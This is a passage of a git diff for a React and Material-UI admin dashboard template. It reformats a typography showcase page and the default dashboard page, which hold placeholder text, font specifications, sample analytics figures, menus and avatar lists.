- </MainCard> - <MainCard title="Subtitle 1"> - <Typography variant="subtitle1" gutterBottom> - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. - </Typography> - <Breadcrumbs aria-label="breadcrumb"> - <Typography variant="h6">Size: 14px</Typography> - <Typography variant="h6">Weight: Medium</Typography> - <Typography variant="h6">Line Height: 22px</Typography> - </Breadcrumbs> - </MainCard> - <MainCard title="Subtitle 2"> - <Typography variant="subtitle2" gutterBottom> - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. - </Typography> - <Breadcrumbs aria-label="breadcrumb"> - <Typography variant="h6">Size: 12px</Typography> - <Typography variant="h6">Weight: Medium</Typography> - <Typography variant="h6">Line Height: 20px</Typography> - </Breadcrumbs> - </MainCard> - <MainCard title="Caption"> - <Stack sx={{ gap: 1 }}> - <Typography variant="caption"> - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. - </Typography> - <Breadcrumbs aria-label="breadcrumb"> - <Typography variant="h6">Size: 12px</Typography> - <Typography variant="h6">Weight: Regular</Typography> - <Typography variant="h6">Line Height: 20px</Typography> - </Breadcrumbs> - </Stack> - </MainCard> - </Stack> - </Grid> - <Grid size={{ xs: 12, lg: 6 }}> - <Stack sx={{ gap: 3 }}> - <MainCard title="Alignment"> - <Typography variant="body2" gutterBottom> - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. - sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. - </Typography> - <Typography variant="body2" textAlign="center" gutterBottom> - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. - sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. - </Typography> - <Typography variant="body2" textAlign="right"> - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. - sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. - </Typography> - </MainCard> - <MainCard title="Gutter Bottom"> - <Typography variant="body1" gutterBottom> - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. - </Typography> - <Typography variant="body2" gutterBottom> - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. - </Typography> - <Breadcrumbs aria-label="breadcrumb"> - <Typography variant="h6">Size: 12px</Typography> - <Typography variant="h6">Weight: Regular</Typography> - <Typography variant="h6">Line Height: 20px</Typography> - </Breadcrumbs> - </MainCard> - <MainCard title="Overline"> - <Stack sx={{ gap: 1.5 }}> - <Typography variant="overline"> - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. - </Typography> - <Breadcrumbs aria-label="breadcrumb"> - <Typography variant="h6">Size: 12px</Typography> - <Typography variant="h6">Weight: Regular</Typography> - <Typography variant="h6">Line Height: 20px</Typography> - </Breadcrumbs> - </Stack> - </MainCard> - <MainCard title="Link"> - <Stack sx={{ gap: 1.5 }}> - <Link href="#!">mantisdashboard.com</Link> - <Breadcrumbs aria-label="breadcrumb"> - <Typography variant="h6">Size: 12px</Typography> - <Typography variant="h6">Weight: Regular</Typography> - <Typography variant="h6">Line Height: 20px</Typography> - </Breadcrumbs> - </Stack> - </MainCard> - <MainCard title="Colors"> - <Typography variant="h6" color="text.primary" gutterBottom> - This is a textPrimary text color. - </Typography> - <Typography variant="h6" color="text.secondary" gutterBottom> - This is a textSecondary text color. - </Typography> - <Typography variant="h6" color="primary" gutterBottom> - This is a primary text color. - </Typography> - <Typography variant="h6" color="secondary" gutterBottom> - This is a secondary text color. - </Typography> - <Typography variant="h6" color="success" gutterBottom> - This is a success text color. - </Typography> - <Typography variant="h6" sx={{ color: 'warning.main' }} gutterBottom> - This is a warning text color. - </Typography> - <Typography variant="h6" color="error" gutterBottom> - This is a error text color. - </Typography> - </MainCard> - <MainCard title="Paragraph"> - <Typography variant="body1" gutterBottom> - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. - </Typography> - <Breadcrumbs aria-label="breadcrumb"> - <Typography variant="h6">Size: 14px</Typography> - <Typography variant="h6">Weight: Regular</Typography> - <Typography variant="h6">Line Height: 22px</Typography> - </Breadcrumbs> - </MainCard> - <MainCard title="Font Style"> - <Typography variant="body1" gutterBottom sx={{ fontStyle: 'italic' }}> - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. - </Typography> - <Typography variant="subtitle1" gutterBottom sx={{ fontStyle: 'italic' }}> - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. - </Typography> - <Breadcrumbs aria-label="breadcrumb"> - <Typography variant="h6">Size: 14px</Typography> - <Typography variant="h6">Weight: Italic Regular & Italic Bold</Typography> - <Typography variant="h6">Line Height: 22px</Typography> - </Breadcrumbs> - </MainCard> - </Stack> - </Grid> - </Grid> - ); -} +// material-ui +import Breadcrumbs from '@mui/material/Breadcrumbs'; +import Divider from '@mui/material/Divider'; +import Grid from '@mui/material/Grid'; +import Link from '@mui/material/Link'; +import Stack from '@mui/material/Stack'; +import Typography from '@mui/material/Typography'; + +// project imports +import MainCard from 'components/MainCard'; + +// ==============================|| COMPONENTS - TYPOGRAPHY ||============================== // + +export default function ComponentTypography() { + return ( + <Grid container spacing={3}> + <Grid size={{ xs: 12, lg: 6 }}> + <Stack sx={{ gap: 3 }}> + <MainCard title="Basic"> + <Stack sx={{ gap: 0.75, mt: -1.5 }}> + <Typography variant="h1">Inter</Typography> + <Typography variant="h5">Font Family</Typography> + <Breadcrumbs aria-label="breadcrumb"> + <Typography variant="h6">Regular</Typography> + <Typography variant="h6">Medium</Typography> + <Typography variant="h6">Bold</Typography> + </Breadcrumbs> + </Stack> + </MainCard> + <MainCard title="Heading"> + <Stack sx={{ gap: 2 }}> + <Typography variant="h1">H1 Heading</Typography> + <Breadcrumbs aria-label="breadcrumb"> + <Typography variant="h6">Size: 38px</Typography> + <Typography variant="h6">Weight: Bold</Typography> + <Typography variant="h6">Line Height: 46px</Typography> + </Breadcrumbs> + <Divider /> + + <Typography variant="h2">H2 Heading</Typography> + <Breadcrumbs aria-label="breadcrumb"> + <Typography variant="h6">Size: 30px</Typography> + <Typography variant="h6">Weight: Bold</Typography> + <Typography variant="h6">Line Height: 38px</Typography> + </Breadcrumbs> + <Divider /> + + <Typography variant="h3">H3 Heading</Typography> + <Breadcrumbs aria-label="breadcrumb"> + <Typography variant="h6">Size: 24px</Typography> + <Typography variant="h6">Weight: Regular & Bold</Typography> + <Typography variant="h6">Line Height: 32px</Typography> + </Breadcrumbs> + <Divider /> + + <Typography variant="h4">H4 Heading</Typography> + <Breadcrumbs aria-label="breadcrumb"> + <Typography variant="h6">Size: 20px</Typography> + <Typography variant="h6">Weight: Bold</Typography> + <Typography variant="h6">Line Height: 28px</Typography> + </Breadcrumbs> + <Divider /> + + <Typography variant="h5">H5 Heading</Typography> + <Breadcrumbs aria-label="breadcrumb"> + <Typography variant="h6">Size: 16px</Typography> + <Typography variant="h6">Weight: Regular & Medium & Bold</Typography> + <Typography variant="h6">Line Height: 24px</Typography> + </Breadcrumbs> + <Divider /> + + <Typography variant="h6">H6 Heading / Subheading</Typography> + <Breadcrumbs aria-label="breadcrumb"> + <Typography variant="h6">Size: 14px</Typography> + <Typography variant="h6">Weight: Regular</Typography> + <Typography variant="h6">Line Height: 22px</Typography> + </Breadcrumbs> + </Stack> + </MainCard> + <MainCard title="Body 1"> + <Typography variant="body1" gutterBottom> + Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. + </Typography> + <Breadcrumbs aria-label="breadcrumb"> + <Typography variant="h6">Size: 14px</Typography> + <Typography variant="h6">Weight: Regular</Typography> + <Typography variant="h6">Line Height: 22px</Typography> + </Breadcrumbs> + </MainCard> + <MainCard title="Body 2"> + <Typography variant="body2" gutterBottom> + Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. + </Typography> + <Breadcrumbs aria-label="breadcrumb"> + <Typography variant="h6">Size: 12px</Typography> + <Typography variant="h6">Weight: Regular</Typography> + <Typography variant="h6">Line Height: 20px</Typography> + </Breadcrumbs> + </MainCard> + <MainCard title="Subtitle 1"> + <Typography variant="subtitle1" gutterBottom> + Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. + </Typography> + <Breadcrumbs aria-label="breadcrumb"> + <Typography variant="h6">Size: 14px</Typography> + <Typography variant="h6">Weight: Medium</Typography> + <Typography variant="h6">Line Height: 22px</Typography> + </Breadcrumbs> + </MainCard> + <MainCard title="Subtitle 2"> + <Typography variant="subtitle2" gutterBottom> + Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. + </Typography> + <Breadcrumbs aria-label="breadcrumb"> + <Typography variant="h6">Size: 12px</Typography> + <Typography variant="h6">Weight: Medium</Typography> + <Typography variant="h6">Line Height: 20px</Typography> + </Breadcrumbs> + </MainCard> + <MainCard title="Caption"> + <Stack sx={{ gap: 1 }}> + <Typography variant="caption"> + Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. + </Typography> + <Breadcrumbs aria-label="breadcrumb"> + <Typography variant="h6">Size: 12px</Typography> + <Typography variant="h6">Weight: Regular</Typography> + <Typography variant="h6">Line Height: 20px</Typography> + </Breadcrumbs> + </Stack> + </MainCard> + </Stack> + </Grid> + <Grid size={{ xs: 12, lg: 6 }}> + <Stack sx={{ gap: 3 }}> + <MainCard title="Alignment"> + <Typography variant="body2" gutterBottom> + Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. + sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. + </Typography> + <Typography variant="body2" sx={{ textAlign: 'center' }} gutterBottom> + Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. + sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. + </Typography> + <Typography variant="body2" sx={{ textAlign: 'right' }}> + Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. + sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. + </Typography> + </MainCard> + <MainCard title="Gutter Bottom"> + <Typography variant="body1" gutterBottom> + Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. + </Typography> + <Typography variant="body2" gutterBottom> + Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. + </Typography> + <Breadcrumbs aria-label="breadcrumb"> + <Typography variant="h6">Size: 12px</Typography> + <Typography variant="h6">Weight: Regular</Typography> + <Typography variant="h6">Line Height: 20px</Typography> + </Breadcrumbs> + </MainCard> + <MainCard title="Overline"> + <Stack sx={{ gap: 1.5 }}> + <Typography variant="overline"> + Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. + </Typography> + <Breadcrumbs aria-label="breadcrumb"> + <Typography variant="h6">Size: 12px</Typography> + <Typography variant="h6">Weight: Regular</Typography> + <Typography variant="h6">Line Height: 20px</Typography> + </Breadcrumbs> + </Stack> + </MainCard> + <MainCard title="Link"> + <Stack sx={{ gap: 1.5 }}> + <Link href="#!">mantisdashboard.com</Link> + <Breadcrumbs aria-label="breadcrumb"> + <Typography variant="h6">Size: 12px</Typography> + <Typography variant="h6">Weight: Regular</Typography> + <Typography variant="h6">Line Height: 20px</Typography> + </Breadcrumbs> + </Stack> + </MainCard> + <MainCard title="Colors"> + <Typography variant="h6" color="text.primary" gutterBottom> + This is a textPrimary text color. + </Typography> + <Typography variant="h6" color="text.secondary" gutterBottom> + This is a textSecondary text color. + </Typography> + <Typography variant="h6" color="primary" gutterBottom> + This is a primary text color. + </Typography> + <Typography variant="h6" color="secondary" gutterBottom> + This is a secondary text color. + </Typography> + <Typography variant="h6" color="success" gutterBottom> + This is a success text color. + </Typography> + <Typography variant="h6" sx={{ color: 'warning.main' }} gutterBottom> + This is a warning text color. + </Typography> + <Typography variant="h6" color="error" gutterBottom> + This is a error text color. + </Typography> + </MainCard> + <MainCard title="Paragraph"> + <Typography variant="body1" gutterBottom> + Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. + Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. + </Typography> + <Breadcrumbs aria-label="breadcrumb"> + <Typography variant="h6">Size: 14px</Typography> + <Typography variant="h6">Weight: Regular</Typography> + <Typography variant="h6">Line Height: 22px</Typography> + </Breadcrumbs> + </MainCard> + <MainCard title="Font Style"> + <Typography variant="body1" gutterBottom sx={{ fontStyle: 'italic' }}> + Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. + </Typography> + <Typography variant="subtitle1" gutterBottom sx={{ fontStyle: 'italic' }}> + Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. + </Typography> + <Breadcrumbs aria-label="breadcrumb"> + <Typography variant="h6">Size: 14px</Typography> + <Typography variant="h6">Weight: Italic Regular & Italic Bold</Typography> + <Typography variant="h6">Line Height: 22px</Typography> + </Breadcrumbs> + </MainCard> + </Stack> + </Grid> + </Grid> + ); +} diff --git a/src/pages/dashboard/default.jsx b/src/pages/dashboard/default.jsx index 1bcad5713..ab36a4fa9 100644 --- a/src/pages/dashboard/default.jsx +++ b/src/pages/dashboard/default.jsx @@ -1,309 +1,309 @@ -import { useState } from 'react'; - -// material-ui -import Avatar from '@mui/material/Avatar'; -import AvatarGroup from '@mui/material/AvatarGroup'; -import Button from '@mui/material/Button'; -import Grid from '@mui/material/Grid'; -import IconButton from '@mui/material/IconButton'; -import List from '@mui/material/List'; -import ListItem from '@mui/material/ListItem'; -import ListItemAvatar from '@mui/material/ListItemAvatar'; -import ListItemButton from '@mui/material/ListItemButton'; -import ListItemText from '@mui/material/ListItemText'; -import Menu from '@mui/material/Menu'; -import MenuItem from '@mui/material/MenuItem'; -import Stack from '@mui/material/Stack'; -import Typography from '@mui/material/Typography'; -import Box from '@mui/material/Box'; - -// project imports -import MainCard from 'components/MainCard'; -import AnalyticEcommerce from 'components/cards/statistics/AnalyticEcommerce'; -import MonthlyBarChart from 'sections/dashboard/default/MonthlyBarChart'; -import ReportAreaChart from 'sections/dashboard/default/ReportAreaChart'; -import UniqueVisitorCard from 'sections/dashboard/default/UniqueVisitorCard'; -import SaleReportCard from 'sections/dashboard/default/SaleReportCard'; -import OrdersTable from 'sections/dashboard/default/OrdersTable'; - -// assets -import EllipsisOutlined from '@ant-design/icons/EllipsisOutlined'; -import GiftOutlined from '@ant-design/icons/GiftOutlined'; -import MessageOutlined from '@ant-design/icons/MessageOutlined'; -import SettingOutlined from '@ant-design/icons/SettingOutlined'; - -import avatar1 from 'assets/images/users/avatar-1.png'; -import avatar2 from 'assets/images/users/avatar-2.png'; -import avatar3 from 'assets/images/users/avatar-3.png'; -import avatar4 from 'assets/images/users/avatar-4.png'; - -// avatar style -const avatarSX = { - width: 36, - height: 36, - fontSize: '1rem' -}; - -// action style -const actionSX = { - mt: 0.75, - ml: 1, - top: 'auto', - right: 'auto', - alignSelf: 'flex-start', - transform: 'none' -}; - -// ==============================|| DASHBOARD - DEFAULT ||============================== // - -export default function DashboardDefault() { - const [orderMenuAnchor, setOrderMenuAnchor] = useState(null); - const [analyticsMenuAnchor, setAnalyticsMenuAnchor] = useState(null); - - const handleOrderMenuClick = (event) => { - setOrderMenuAnchor(event.currentTarget); - }; - const handleOrderMenuClose = () => { - setOrderMenuAnchor(null); - }; - - const handleAnalyticsMenuClick = (event) => { - setAnalyticsMenuAnchor(event.currentTarget); - }; - const handleAnalyticsMenuClose = () => { - setAnalyticsMenuAnchor(null); - }; - - return ( - <Grid container rowSpacing={4.5} columnSpacing={2.75}> - {/* row 1 */} - <Grid sx={{ mb: -2.25 }} size={12}> - <Typography variant="h5">Dashboard</Typography> - </Grid> - <Grid size={{ xs: 12, sm: 6, lg: 3 }}> - <AnalyticEcommerce title="Total Page Views" count="4,42,236" percentage={59.3} extra="35,000" /> - </Grid> - <Grid size={{ xs: 12, sm: 6, lg: 3 }}> - <AnalyticEcommerce title="Total Users" count="78,250" percentage={70.5} extra="8,900" /> - </Grid> - <Grid size={{ xs: 12, sm: 6, lg: 3 }}> - <AnalyticEcommerce title="Total Order" count="18,800" percentage={27.4} isLoss color="warning" extra="1,943" /> - </Grid> - <Grid size={{ xs: 12, sm: 6, lg: 3 }}> - <AnalyticEcommerce title="Total Sales" count="35,078" percentage={27.4} isLoss color="warning" extra="20,395" /> - </Grid> - <Grid sx={{ display: { sm: 'none', md: 'block', lg: 'none' } }} size={{ md: 8 }} /> - {/* row 2 */} - <Grid size={{ xs: 12, md: 7, lg: 8 }}> - <UniqueVisitorCard /> - </Grid> - <Grid size={{ xs: 12, md: 5, lg: 4 }}> - <Grid container sx={{ alignItems: 'center', justifyContent: 'space-between' }}> - <Grid> - <Typography variant="h5">Income Overview</Typography> - </Grid> - <Grid /> - </Grid> - <MainCard sx={{ mt: 2 }} content={false}> - <Box sx={{ p: 3, pb: 0 }}> - <Stack sx={{ gap: 2 }}> - <Typography variant="h6" color="text.secondary"> - This Week Statistics - </Typography> - <Typography variant="h3">$7,650</Typography> - </Stack> - </Box> - <MonthlyBarChart /> - </MainCard> - </Grid> - {/* row 3 */} - <Grid size={{ xs: 12, md: 7, lg: 8 }}> - <Grid container sx={{ alignItems: 'center', justifyContent: 'space-between' }}> - <Grid> - <Typography variant="h5">Recent Orders</Typography> - </Grid> - <Grid> - <IconButton onClick={handleOrderMenuClick}> - <EllipsisOutlined style={{ fontSize: '1.25rem' }} /> - </IconButton> - <Menu - id="fade-menu" - slotProps={{ list: { 'aria-labelledby': 'fade-button' } }} - anchorEl={orderMenuAnchor} - onClose={handleOrderMenuClose} - open={Boolean(orderMenuAnchor)} - anchorOrigin={{ vertical: 'bottom', horizontal: 'right' }} - transformOrigin={{ vertical: 'top', horizontal: 'right' }} - > - <MenuItem onClick={handleOrderMenuClose}>Export as CSV</MenuItem> - <MenuItem onClick={handleOrderMenuClose}>Export as Excel</MenuItem> - <MenuItem onClick={handleOrderMenuClose}>Print Table</MenuItem> - </Menu> - </Grid> - </Grid> - <MainCard sx={{ mt: 2 }} content={false}> - <OrdersTable /> - </MainCard> - </Grid> - <Grid size={{ xs: 12, md: 5, lg: 4 }}> - <Grid container sx={{ alignItems: 'center', justifyContent: 'space-between' }}> - <Grid> - <Typography variant="h5">Analytics Report</Typography> - </Grid> - <Grid> - <IconButton onClick={handleAnalyticsMenuClick}> - <EllipsisOutlined style={{ fontSize: '1.25rem' }} /> - </IconButton> - <Menu - id="fade-menu" - slotProps={{ list: { 'aria-labelledby': 'fade-button' } }} - anchorEl={analyticsMenuAnchor} - open={Boolean(analyticsMenuAnchor)} - onClose={handleAnalyticsMenuClose} - anchorOrigin={{ vertical: 'bottom', horizontal: 'right' }} - transformOrigin={{ vertical: 'top', horizontal: 'right' }} - > - <MenuItem onClick={handleAnalyticsMenuClose}>Weekly</MenuItem> - <MenuItem onClick={handleAnalyticsMenuClose}>Monthly</MenuItem> - <MenuItem onClick={handleAnalyticsMenuClose}>Yearly</MenuItem> - </Menu> - </Grid> - </Grid> - <MainCard sx={{ mt: 2 }} content={false}> - <List sx={{ p: 0, '& .MuiListItemButton-root': { py: 2 } }}> - <ListItemButton divider> - <ListItemText primary="Company Finance Growth" /> - <Typography variant="h5">+45.14%</Typography> - </ListItemButton> - <ListItemButton divider> - <ListItemText primary="Company Expenses Ratio" /> - <Typography variant="h5">0.58%</Typography> - </ListItemButton> - <ListItemButton> - <ListItemText primary="Business Risk Cases" /> - <Typography variant="h5">Low</Typography> - </ListItemButton> - </List> - <ReportAreaChart /> - </MainCard> - </Grid> - {/* row 4 */} - <Grid size={{ xs: 12, md: 7, lg: 8 }}> - <SaleReportCard /> - </Grid> - <Grid size={{ xs: 12, md: 5, lg: 4 }}> - <Grid container sx={{ alignItems: 'center', justifyContent: 'space-between' }}> - <Grid> - <Typography variant="h5">Transaction History</Typography> - </Grid> - <Grid /> - </Grid> - <MainCard sx={{ mt: 2 }} content={false}> - <List - component="nav" - sx={{ - px: 0, - py: 0, - '& .MuiListItemButton-root': { - py: 1.5, - px: 2, - '& .MuiAvatar-root': avatarSX, - '& .MuiListItemSecondaryAction-root': { ...actionSX, position: 'relative' } - } - }} - > - <ListItem - component={ListItemButton} - divider - secondaryAction={ - <Stack sx={{ alignItems: 'flex-end' }}> - <Typography variant="subtitle1" noWrap> - + $1,430 - </Typography> - <Typography variant="h6" color="secondary" noWrap> - 78% - </Typography> - </Stack> - } - > - <ListItemAvatar> - <Avatar sx={{ color: 'success.main', bgcolor: 'success.lighter' }}> - <GiftOutlined /> - </Avatar> - </ListItemAvatar> - <ListItemText primary={<Typography variant="subtitle1">Order #002434</Typography>} secondary="Today, 2:00 AM" /> - </ListItem> - <ListItem - component={ListItemButton} - divider - secondaryAction={ - <Stack sx={{ alignItems: 'flex-end' }}> - <Typography variant="subtitle1" noWrap> - + $302 - </Typography> - <Typography variant="h6" color="secondary" noWrap> - 8% - </Typography> - </Stack> - } - > - <ListItemAvatar> - <Avatar sx={{ color: 'primary.main', bgcolor: 'primary.lighter' }}> - <MessageOutlined /> - </Avatar> - </ListItemAvatar> - <ListItemText primary={<Typography variant="subtitle1">Order #984947</Typography>} secondary="5 August, 1:45 PM" /> - </ListItem> - <ListItem - component={ListItemButton} - secondaryAction={ - <Stack sx={{ alignItems: 'flex-end' }}> - <Typography variant="subtitle1" noWrap> - + $682 - </Typography> - <Typography variant="h6" color="secondary" noWrap> - 16% - </Typography> - </Stack> - } - > - <ListItemAvatar> - <Avatar sx={{ color: 'error.main', bgcolor: 'error.lighter' }}> - <SettingOutlined /> - </Avatar> - </ListItemAvatar> - <ListItemText primary={<Typography variant="subtitle1">Order #988784</Typography>} secondary="7 hours ago" /> - </ListItem> - </List> - </MainCard> - <MainCard sx={{ mt: 2 }}> - <Stack sx={{ gap: 3 }}> - <Grid container sx={{ alignItems: 'center', justifyContent: 'space-between' }}> - <Grid> - <Stack> - <Typography variant="h5" noWrap> - Help & Support Chat - </Typography> - <Typography variant="caption" color="secondary" noWrap> - Typical replay within 5 min - </Typography> - </Stack> - </Grid> - <Grid> - <AvatarGroup sx={{ '& .MuiAvatar-root': { width: 32, height: 32 } }}> - <Avatar alt="Remy Sharp" src={avatar1} /> - <Avatar alt="Travis Howard" src={avatar2} /> - <Avatar alt="Cindy Baker" src={avatar3} /> - <Avatar alt="Agnes Walker" src={avatar4} /> - </AvatarGroup> - </Grid> - </Grid> - <Button size="small" variant="contained" sx={{ textTransform: 'capitalize' }}> - Need Help? - </Button> - </Stack> - </MainCard> - </Grid> - </Grid> - ); -} +import { useState } from 'react'; + +// material-ui +import Avatar from '@mui/material/Avatar'; +import AvatarGroup from '@mui/material/AvatarGroup'; +import Button from '@mui/material/Button'; +import Grid from '@mui/material/Grid'; +import IconButton from '@mui/material/IconButton'; +import List from '@mui/material/List'; +import ListItem from '@mui/material/ListItem'; +import ListItemAvatar from '@mui/material/ListItemAvatar'; +import ListItemButton from '@mui/material/ListItemButton'; +import ListItemText from '@mui/material/ListItemText'; +import Menu from '@mui/material/Menu'; +import MenuItem from '@mui/material/MenuItem'; +import Stack from '@mui/material/Stack'; +import Typography from '@mui/material/Typography'; +import Box from '@mui/material/Box'; + +// project imports +import MainCard from 'components/MainCard'; +import AnalyticEcommerce from 'components/cards/statistics/AnalyticEcommerce'; +import MonthlyBarChart from 'sections/dashboard/default/MonthlyBarChart'; +import ReportAreaChart from 'sections/dashboard/default/ReportAreaChart'; +import UniqueVisitorCard from 'sections/dashboard/default/UniqueVisitorCard'; +import SaleReportCard from 'sections/dashboard/default/SaleReportCard'; +import OrdersTable from 'sections/dashboard/default/OrdersTable'; + +// assets +import EllipsisOutlined from '@ant-design/icons/EllipsisOutlined'; +import GiftOutlined from '@ant-design/icons/GiftOutlined'; +import MessageOutlined from '@ant-design/icons/MessageOutlined'; +import SettingOutlined from '@ant-design/icons/SettingOutlined'; + +import avatar1 from 'assets/images/users/avatar-1.png'; +import avatar2 from 'assets/images/users/avatar-2.png'; +import avatar3 from 'assets/images/users/avatar-3.png'; +import avatar4 from 'assets/images/users/avatar-4.png'; + +// avatar style +const avatarSX = { + width: 36, + height: 36, + fontSize: '1rem' +}; + +// action style +const actionSX = { + mt: 0.75, + ml: 1, + top: 'auto', + right: 'auto', + alignSelf: 'flex-start', + transform: 'none' +}; + +// ==============================|| DASHBOARD - DEFAULT ||============================== // + +export default function DashboardDefault() { + const [orderMenuAnchor, setOrderMenuAnchor] = useState(null); + const [analyticsMenuAnchor, setAnalyticsMenuAnchor] = useState(null); + + const handleOrderMenuClick = (event) => { + setOrderMenuAnchor(event.currentTarget); + }; + const handleOrderMenuClose = () => { + setOrderMenuAnchor(null); + }; + + const handleAnalyticsMenuClick = (event) => { + setAnalyticsMenuAnchor(event.currentTarget); + }; + const handleAnalyticsMenuClose = () => { + setAnalyticsMenuAnchor(null); + }; + + return ( + <Grid container rowSpacing={4.5} columnSpacing={2.75}> + {/* row 1 */} + <Grid sx={{ mb: -2.25 }} size={12}> + <Typography variant="h5">Dashboard</Typography> + </Grid> + <Grid size={{ xs: 12, sm: 6, lg: 3 }}> + <AnalyticEcommerce title="Total Page Views" count="4,42,236" percentage={59.3} extra="35,000" /> + </Grid> + <Grid size={{ xs: 12, sm: 6, lg: 3 }}> + <AnalyticEcommerce title="Total Users" count="78,250" percentage={70.5} extra="8,900" /> + </Grid> + <Grid size={{ xs: 12, sm: 6, lg: 3 }}> + <AnalyticEcommerce title="Total Order" count="18,800" percentage={27.4} isLoss color="warning" extra="1,943" /> + </Grid> + <Grid size={{ xs: 12, sm: 6, lg: 3 }}> + <AnalyticEcommerce title="Total Sales" count="35,078" percentage={27.4} isLoss color="warning" extra="20,395" /> + </Grid> + <Grid sx={{ display: { sm: 'none', md: 'block', lg: 'none' } }} size={{ md: 8 }} /> + {/* row 2 */} + <Grid size={{ xs: 12, md: 7, lg: 8 }}> + <UniqueVisitorCard /> + </Grid> + <Grid size={{ xs: 12, md: 5, lg: 4 }}> + <Grid container sx={{ alignItems: 'center', justifyContent: 'space-between' }}> + <Grid> + <Typography variant="h5">Income Overview</Typography> + </Grid> + <Grid /> + </Grid> + <MainCard sx={{ mt: 2 }} content={false}> + <Box sx={{ p: 3, pb: 0 }}> + <Stack sx={{ gap: 2 }}> + <Typography variant="h6" color="text.secondary"> + This Week Statistics + </Typography> + <Typography variant="h3">$7,650</Typography> + </Stack> + </Box> + <MonthlyBarChart /> + </MainCard> + </Grid> + {/* row 3 */} + <Grid size={{ xs: 12, md: 7, lg: 8 }}> + <Grid container sx={{ alignItems: 'center', justifyContent: 'space-between' }}> + <Grid> + <Typography variant="h5">Recent Orders</Typography> + </Grid> + <Grid> + <IconButton onClick={handleOrderMenuClick}> + <EllipsisOutlined style={{ fontSize: '1.25rem' }} /> + </IconButton> + <Menu + id="fade-menu" + slotProps={{ list: { 'aria-labelledby': 'fade-button' } }} + anchorEl={orderMenuAnchor} + onClose={handleOrderMenuClose} + open={Boolean(orderMenuAnchor)} + anchorOrigin={{ vertical: 'bottom', horizontal: 'right' }} + transformOrigin={{ vertical: 'top', horizontal: 'right' }} + > + <MenuItem onClick={handleOrderMenuClose}>Export as CSV</MenuItem> + <MenuItem onClick={handleOrderMenuClose}>Export as Excel</MenuItem> + <MenuItem onClick={handleOrderMenuClose}>Print Table</MenuItem> + </Menu> + </Grid> + </Grid> + <MainCard sx={{ mt: 2 }} content={false}> + <OrdersTable /> + </MainCard> + </Grid> + <Grid size={{ xs: 12, md: 5, lg: 4 }}> + <Grid container sx={{ alignItems: 'center', justifyContent: 'space-between' }}> + <Grid> + <Typography variant="h5">Analytics Report</Typography> + </Grid> + <Grid> + <IconButton onClick={handleAnalyticsMenuClick}> + <EllipsisOutlined style={{ fontSize: '1.25rem' }} /> + </IconButton> + <Menu + id="fade-menu" + slotProps={{ list: { 'aria-labelledby': 'fade-button' } }} + anchorEl={analyticsMenuAnchor} + open={Boolean(analyticsMenuAnchor)} + onClose={handleAnalyticsMenuClose} + anchorOrigin={{ vertical: 'bottom', horizontal: 'right' }} + transformOrigin={{ vertical: 'top', horizontal: 'right' }} + > + <MenuItem onClick={handleAnalyticsMenuClose}>Weekly</MenuItem> + <MenuItem onClick={handleAnalyticsMenuClose}>Monthly</MenuItem> + <MenuItem onClick={handleAnalyticsMenuClose}>Yearly</MenuItem> + </Menu> + </Grid> + </Grid> + <MainCard sx={{ mt: 2 }} content={false}> + <List sx={{ p: 0, '& .MuiListItemButton-root': { py: 2 } }}> + <ListItemButton divider> + <ListItemText primary="Company Finance Growth" /> + 